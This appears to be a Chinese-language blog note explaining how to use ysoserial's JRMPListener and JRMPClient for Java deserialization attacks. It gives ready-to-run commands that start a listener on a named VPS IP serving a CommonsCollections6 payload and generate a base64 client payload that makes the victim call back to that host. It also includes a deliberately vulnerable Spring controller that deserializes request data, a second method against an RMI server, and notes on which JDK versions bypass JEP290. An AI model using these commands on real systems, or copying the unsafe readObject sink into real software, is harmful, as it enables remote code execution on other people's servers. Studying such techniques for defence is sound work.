前言

目前很多的反序列化的漏洞在利用的过程中都使用到了JRMPListener,JRMPClient。但实际上,在ysoserial项目中,exploit和payloads这2个单词意义是不同的。以前我一直都不怎么区分这2个概念。payloads偏向于一种静态的概念,可以是生成的二进制负载数据。exploit更偏向于一种主动的攻击程序。下面我用2个本地的简单的demo就能对比一下。

因为JRMP实际上是调用远程方法,所以

使用JRMP模拟RMI Client反打

第一步

在VPS端开启JRMPListener

  1. java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections6 'calc'

第二步

生成JRMPClient Payloads

  1. java -jar ysoserial.jar JRMPClient 47.97.123.81:7777|base64 -w 0

JRMPListener %26%26 JRMPClient使用小记 - 图1

获取base64之后的反序列化字符串

第三步

打到本机环境里

  1. package com.example.demo.controller;
  2. import org.springframework.stereotype.Controller;
  3. import org.springframework.web.bind.annotation.RequestMapping;
  4. import org.springframework.web.bind.annotation.ResponseBody;
  5. import org.springframework.web.context.WebApplicationContext;
  6. import org.springframework.web.context.request.RequestContextHolder;
  7. import tools.Tools;
  8. import javax.servlet.http.HttpServletRequest;
  9. import javax.servlet.http.HttpServletResponse;
  10. import java.io.ByteArrayInputStream;
  11. import java.io.InputStream;
  12. import java.io.ObjectInputStream;
  13. @Controller
  14. public class CommonsCollectionsVuln {
  15. @ResponseBody
  16. @RequestMapping("/cc11")
  17. public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception {
  18. String data = request.getParameter("data");
  19. byte[] b = Tools.base64Decode(data);
  20. InputStream inputStream = new ByteArrayInputStream(b);
  21. ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
  22. objectInputStream.readObject();
  23. return "Hello,World";
  24. }
  25. @ResponseBody
  26. @RequestMapping("/demo")
  27. public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
  28. return "This is OK Demo!";
  29. }
  30. }

jdk8u231之前的版本可用(绕过JEP290) 成功弹计算器,且vps上显示调用数据

JRMPListener %26%26 JRMPClient使用小记 - 图2

疑问

为什么要这样打?

其实JRMP算是一条单独的链子,利用链

  1. /**
  2. * UnicastRef.newCall(RemoteObject, Operation[], int, long)(!!JRMP请求的发送处!!)
  3. * DGCImpl_Stub.dirty(ObjID[], long, Lease)(这里是我们上面JRMP服务端打客户端,客户端的反序列化触发处)
  4. * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
  5. * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
  6. * DGCClient.registerRefs(Endpoint, List<LiveRef>)
  7. ------这里实际上不是一个连贯的调用栈,之后说明-----
  8. * LiveRef.read(ObjectInput, boolean)
  9. * UnicastRef.readExternal(ObjectInput)(!!反序列化的入口!!)

反序列化的入口其实不止readobject(),还有readExternal(),只不过后者稍微少见点。

主要是为了绕过一些特定的黑名单,因为这里的反序列化内容实际上是调用了远程RMI服务,然后RMI服务调用远程服务器上的cc链。而不是直接的反序列化cc链。

使用JRMP正打,攻击RMI Server端

第一步

生成JRMPListener Payloads

  1. java -jar ysoserial.jar JRMPListener 7778 | base64 -w 0

JRMPListener %26%26 JRMPClient使用小记 - 图3

打到服务器里,为了让靶机在7778端口开放一个rmi服务

第二步

攻击靶机 因为我服务器访问不到本地所以这里用了本机的ysoserial

  1. java -cp ysoserial.jar ysoserial.exploit.JRMPClient "127.0.0.1" 7778 CommonsCollections6 "calc"

利用链

  1. /**
  2. * Gadget chain:
  3. * UnicastRemoteObject.readObject(ObjectInputStream) line: 235
  4. * UnicastRemoteObject.reexport() line: 266
  5. * UnicastRemoteObject.exportObject(Remote, int) line: 320
  6. * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
  7. * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
  8. * LiveRef.exportObject(Target) line: 147
  9. * TCPEndpoint.exportObject(Target) line: 411
  10. * TCPTransport.exportObject(Target) line: 249
  11. * TCPTransport.listen() line: 319
  12. *
  13. * Requires:
  14. * - JavaSE
  15. *
  16. * Argument:
  17. * - Port number to open listener to
  18. */

jdk8u121,7u131,6u141之前(JEP290) 成功弹出计算器 jdk8u181下失败

参考

https://lalajun.github.io/2020/06/22/RMI 反序列化-深入-下/

https://lalajun.github.io/2020/06/22/RMI 反序列化-深入-上/#探测利用开放的RMI服务